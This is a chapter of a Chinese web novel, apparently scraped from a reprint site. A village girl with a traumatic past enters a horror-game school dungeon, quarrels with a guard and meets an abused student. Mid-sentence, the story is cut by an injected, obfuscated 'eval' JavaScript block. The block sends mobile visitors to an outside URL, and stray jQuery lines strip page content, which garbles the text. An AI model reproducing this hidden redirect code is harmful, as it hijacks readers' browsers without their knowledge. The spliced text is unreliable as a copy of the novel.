11.平江三中(2)

作品:《无限流天赋是全职女儿

    【副本:平江三中】


    【副本等级:A】


    【副本信息:这是一所来历不明的中学,收容着一些不被社会和家庭接纳的少年,他们被称为“问题学生”,可这所学校存在的问题比他们更严重。


    这是平江市唯一一所实行全年封闭式管理的中学,也是唯一一所不需要入学考试,只需提供身份信息即可登记入学的特殊学校。传闻这里的学生失踪率高达百分之三十,但无人追究,无人在意,学生的档案被层层封锁。


    你来到这里,成为一名新生。除了这里,你无处可去。】


    【副本要求:活着离开平江三中】


    【个人信息获取中——姓名:青于,身份:学生】


    活着离开平江三中?好简单的要求。大门就在那里,我怎么进来的就可以怎么出去,不是吗?


    青于转身朝着保安亭走去,她敲了敲蒙着一层灰尘的玻璃窗,惊醒了里面已经在打瞌睡的老头。


    老头懒洋洋地睁眼,取下嘴里含着的廉价香烟,咂吧着嘴,“有事?”


    他嘴角的沫子堆积着,嘴唇乌黑干瘪,瘦巴巴的好像骨头上就包了一张皮。和村里的很多老头一样,干瘦、邋遢、身上带着一股子味道,嘴里总是说着让人烦躁的话,看人的眼神不是阴森的打量就是居高临下的审视。


    青于很少在村里的老人身上感受到慈爱和善意,更多的是冷漠与苛责。


    他们看着她,眼神冰冷冷的,其实看的也不是她,是她死去的妈妈。他们在可惜,可惜蓝老二那个老实人命不好,花那么多钱买了个漂亮媳妇,结果就生了一个没用的丫头,还早早就死了。


    所以他们的目光里从来都不是她,是打了水漂的漂亮女人和人民币,是那场没有回本的交易和没法延续香火的遗憾。


    妈妈已经死了,他们还要透过自己去审视她。用他们肮脏龌龊的眼神,让妈妈在自己身上被再次凌辱,如此屈辱地存在着。


    妈妈已经死了,他们竟敢透过自己去审视她。用他们充满罪恶的眼神,让一个女儿切身体会、亲眼见证母亲的痛苦……后来,那些痛苦成功转介,母亲孕育出来的女儿便长成了母亲的模样。


    所以,他们是该死的。青于没有受过教育,没有上过学,她身上所有恶的部分,都是那个村子教给她的,她学得很快,学得很好,在妈妈去世后,很多事情她都想通了,所以在失去母亲的第三年,她跟大伯说想学杀猪,学了两年,她就能自己杀猪了。


    即便杀得不好,即便杀得满地狼藉,猪血溅在她的身上和脸上,她都不害怕。因为她在等待,等待着向这些人回馈她这么多年从他们身上学到的东西,她会告诉他们,延续香火并不重要,因为很快,你们的祖坟都要没了。


    自从她学会杀猪后,村里人的态度好了很多,她成了有用的人,所有人都说她生错了,她该是个男孩。


    村里老人都说,她要是个男孩,一定是个有出息的。


    青于嗤之以鼻,她就算是女孩儿,也是最有出息的。


    思绪回笼,青于晃了晃脑袋,发现自己又走神了。现在是办正事的时候,可不能走神,这个毛病得改改。


    她对着保安亭里的老头说:“我要出去,我不读书了。”


    老头用那双浑浊的眼睛盯着青于看,烟头在指间明明灭灭,他嗤笑一声:“出去?进了平江三中,就没有全须全尾出去的。”他忽然凑近玻璃窗,鼻子贴在灰蒙蒙的玻璃上,语气带着暗示地说:“想出去也不是没法子,不过……”


    他在暗示要好处。


    但是青于听不懂,她接触最多的是村里人,到过最远的地方是镇上,人情往来的事情她一概不懂,没见过、没听过、没人教过。她只知道地里的规矩,不知道外面的规矩,所以只能呆呆地站在原地,看着那个老头。


    老头突然伸手,在她眼前弹了弹烟头,烟灰抖落,在她眼前簌簌往下落。


    过了几分钟,谁也没说话。


    老头深深地吸了一口烟,将白色的烟雾缓缓吐出,又对着她抖了抖烟灰。还是和刚才一样的场景,白色的烟雾弯弯绕绕地往上升,细碎的烟灰簌簌往下落。


    青于皱眉,突然说道:“不过什么?你怎么不说完?”


    老头被呛了一口,咳了好一会儿才面带嫌弃地跟她说,“我手上的是什么?”


    青于就说:“是烟。”


    老头不耐烦地“啧”了一声,咂吧着嘴,伸手敲了敲玻璃,他带着一股子怒其不争的怨气重重地敲着,像是敲在青于那颗不懂人情往来的脑袋上,一下又一下。


    他说:“这是烟,也是关系。想从别人嘴里讨消息,就要走关系,在我这里,关系就是烟,听明白了吗?”


    青于也烦躁,她一只手握着刀,一只手在胸前揪着书包的背带,语气很差地问道:“没有烟,别的可以吗?玉米和别的吃的。”


    老头愣了一下,随即“唰”的一声把窗帘拉上,隔绝了青于的视线,也不再出声。


    青于咬了咬后槽牙,抬手用刀柄把他的窗户捅破了,在玻璃破碎的声音中大声吼道:“问你话呢!玉米和其他吃的可不可以?”


    那道脏兮兮的帘子又被猛地扯开,那个老头瞪着眼睛看着她,嘴唇颤抖着问道:“你是不是疯了?你敢捅破我的窗户!”


    “你先不吱声的!少跟我耍威风,能不能就说话,又不是哑巴,装什么装。”青于吵架的时候总是很大声,和她干瘦的外表很不相符。扯着嗓子吵架,声音要大,气势要强,不管对面是谁你都不能怂,这也是她在村子里学的。


    老头气得浑身发抖,手指着她半天说不出话,整张脸涨得通红,忽然抓起桌上的烟盒狠狠砸向地面,嘶吼道:“滚!没有烟就滚!”


    青于翻了个白眼,以优胜者的姿态轻飘飘地评价了一句,“呵,只会拿东西撒气的窝囊废。”


    就像村里那些靠着吵架出名的大婶一样,她们最骄傲的就是吵赢了的那一瞬间,好像人生中所有的苦难都被那一瞬间的高光覆盖,所有的憋屈都化作了最后那轻蔑的一眼。


    青于转身离开,朝着教学楼的方向走去,手中的刀沉甸甸的,那重量是底气,她就靠着这点重量从石洞子村走到这里,现在,这重量也会支撑她在这片陌生的土地上行走,每一步都像踩在老家熟悉的田埂上。


    还没走出多远,旁边就多了个人,是个留着学生头,戴着黑框眼镜,穿着黑白校服的女生,很规范的好学生形象。如果她短袖校服下的手臂上没有夸张的纹身,手腕上没有重叠的伤痕,会更像一个好学生。


    那校服很久了,领口松垮垮地耷拉着,黑色的部分有些褪色,白色的地方也泛着旧黄,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429438|184859||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和这所学校的牌匾一样不吉利。


    她低着头,两只手缠在一起,指节泛白,有些神经质地开口问道:“你是新学生?你怎么和保安吵架?不要吵架,不要,吵架不好。”


    青于看了她一眼,然后问道:“跟他吵架会怎么样吗?他能拿我怎么样?”


    “那倒是没有,就是、就是吵架不好。老师会教训你的,他们会拖着你在走廊里一直走,会让你爬楼梯,很多惩罚,很吓人的,好吓人的。”她缩了缩脖子,像是回忆起什么可怕的事,声音越来越轻,突然开始发抖,然后发出了极力压制后的抽泣声。那紧紧缠在一起的双手终于松开了,一只手抬高了眼镜,一只手换着面儿的擦眼泪。


    她哭得凄惨,青于突然从仓库里拿出一条巧克力开始啃,巧克力在她嘴里嚼得咔咔作响,里面的坚果香香脆脆,是青于从未吃过的味道。巧克力的味道也很陌生,不像是村里小卖部里卖的那样甜腻齁人,反倒有些苦,丝滑的口感不会嚼着嚼着变成一团,而是会化在唇齿间。


    还挺好吃的,但是和以前吃得不一样,或许是假货。


    假货还卖那么贵,以后不买了。


    吃完一条巧克力,她又从背包里翻出来两个玉米,开始咔嚓咔嚓地啃。一个吃完再吃一个,两个都吃完了还是不太饱,又拿了一块压缩饼干出来开始吃。


    旁边的女孩儿已经停止了抽泣,正眼巴巴地盯着她看,不断地吞咽着口水,还要明知故问地说:“你吃的是什么?看起来好香。”


    青于三下五除二把压缩饼干吃完,这才感觉有点饱了,她擦去嘴上的碎屑,说道:“压缩饼干。你们是不是平时都吃不饱啊?”


    女孩儿愣了一下,慢慢地点头,“也不算吃不饱,其实饿不着,但是也不太饱。你怎么知道啊?”


    青于就说:“要是能吃饱,有力气,为什么要让那些人欺负你们,直接还手就可以了。”


    女孩儿这次愣了很久,那张脸上有些扭曲,有几个瞬间露出了几分凶恶,那样凶狠的表情在她脸上却很适合,好像她生来就是这样不服管教的性子,有着一副天不怕地不怕的模样,可最后她还是垂下眼睛,声音轻得几乎听不见:“还手?他们力气很大,还有武器,我们太瘦小了……”


    青于说:“我的力气也很大,我也有武器,只要我能吃饱,我就不怕他们。就算暂时没法反抗,只要等待机会,我一定可以成功的。”


    女孩儿笑了一下,似感慨似劝导,“很难的……新同学,反抗很难的。”


    她的脸在笑,嘴角向上提起,但眼里却没有一丝笑意,那眼尾往下压着,眉头轻轻蹙着,眉眼间带着复杂的情绪,像是通过一张被刻画出来的假面透露出来的真实情绪。


    “或许吧,但是我不怕难。如果你觉得害怕的话,可以去找一样武器,手里有东西,就会安心一点,树棍、锄头、铁锹、火钳、锅铲,管它是什么,先拿起来再说。”


    青于很少害怕,因为她没有别的选择,前面只有一条路,害怕也要走,颤抖也要走,只能往前走,所以她会往前走,不计后果地迈开脚往前走。


    以前她没有退路,所以习惯了一往无前,习惯了用命去搏一条出路。


    现在她有了退路,她还可以重活,所以更适合用命去搏。反正不管怎么样,都不该如猪狗般被人豢养欺凌。